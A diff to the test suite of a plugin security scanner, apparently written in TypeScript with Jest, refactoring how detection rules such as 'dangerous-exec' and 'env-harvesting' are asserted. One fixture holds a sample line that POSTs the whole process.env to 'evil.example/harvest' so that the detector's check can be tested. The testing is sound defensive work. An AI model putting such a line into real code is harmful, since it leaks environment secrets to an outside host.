

























@@ -35,13 +35,13 @@ function expectScanRule(
3535) {
3636const findings = scanSource(source, "plugin.ts");
3737expect(
38-findings.some(
38+findings.filter(
3939(finding) =>
4040finding.ruleId === expected.ruleId &&
4141(expected.severity == null || finding.severity === expected.severity) &&
4242(expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)),
4343),
44-).toBe(true);
44+).not.toEqual([]);
4545}
46464747function writeFixtureFiles(root: string, files: Record<string, string | undefined>) {
@@ -69,7 +69,12 @@ function mockStatPermissionDeniedFor(filePath: string) {
6969}
70707171function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) {
72-expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected);
72+const ruleIds = findings.map((finding) => finding.ruleId);
73+if (expected) {
74+expect(ruleIds).toContain(ruleId);
75+} else {
76+expect(ruleIds).not.toContain(ruleId);
77+}
7378}
74797580async function runNamedCase(name: string, run: () => void | Promise<void>) {
@@ -252,7 +257,7 @@ import type { ExecOptions } from "child_process";
252257const options: ExecOptions = { timeout: 5000 };
253258`;
254259const findings = scanSource(source, "plugin.ts");
255-expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
260+expectRulePresence(findings, "dangerous-exec", false);
256261});
257262258263it("does not flag RegExp.exec when child_process appears elsewhere", () => {
@@ -262,7 +267,7 @@ const options: ExecOptions = {};
262267const match = /^keychain:(.+)$/.exec(value);
263268`;
264269const findings = scanSource(source, "plugin.ts");
265-expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
270+expectRulePresence(findings, "dangerous-exec", false);
266271});
267272268273it("does not use full-line comments as source-rule context", () => {
@@ -271,7 +276,7 @@ const env = process.env;
271276// fetch() can reach the endpoint later.
272277`;
273278const findings = scanSource(source, "plugin.ts");
274-expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
279+expectRulePresence(findings, "env-harvesting", false);
275280});
276281277282it("does not use inline or block comments as source-rule context", () => {
@@ -283,7 +288,7 @@ const env = process.env; // fetch("https://example.invalid")
283288const url = "https://example.com/path//segment";
284289`;
285290const findings = scanSource(source, "plugin.ts");
286-expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
291+expectRulePresence(findings, "env-harvesting", false);
287292});
288293289294it("returns empty array for clean plugin code", () => {
@@ -314,7 +319,7 @@ async function closeFetchHandles() {
314319}
315320`;
316321const findings = scanSource(source, "plugin.ts");
317-expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
322+expectRulePresence(findings, "env-harvesting", false);
318323});
319324320325it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => {
@@ -330,7 +335,7 @@ export async function sendMessage(rest, channelId, data) {
330335}
331336`;
332337const findings = scanSource(source, "provider-bundle.js");
333-expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
338+expectRulePresence(findings, "env-harvesting", false);
334339});
335340336341it("still flags local process.env sends", () => {
@@ -339,7 +344,7 @@ const env = process.env;
339344await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) });
340345`;
341346const findings = scanSource(source, "plugin.ts");
342-expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true);
347+expectRulePresence(findings, "env-harvesting", true);
343348});
344349});
345350此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。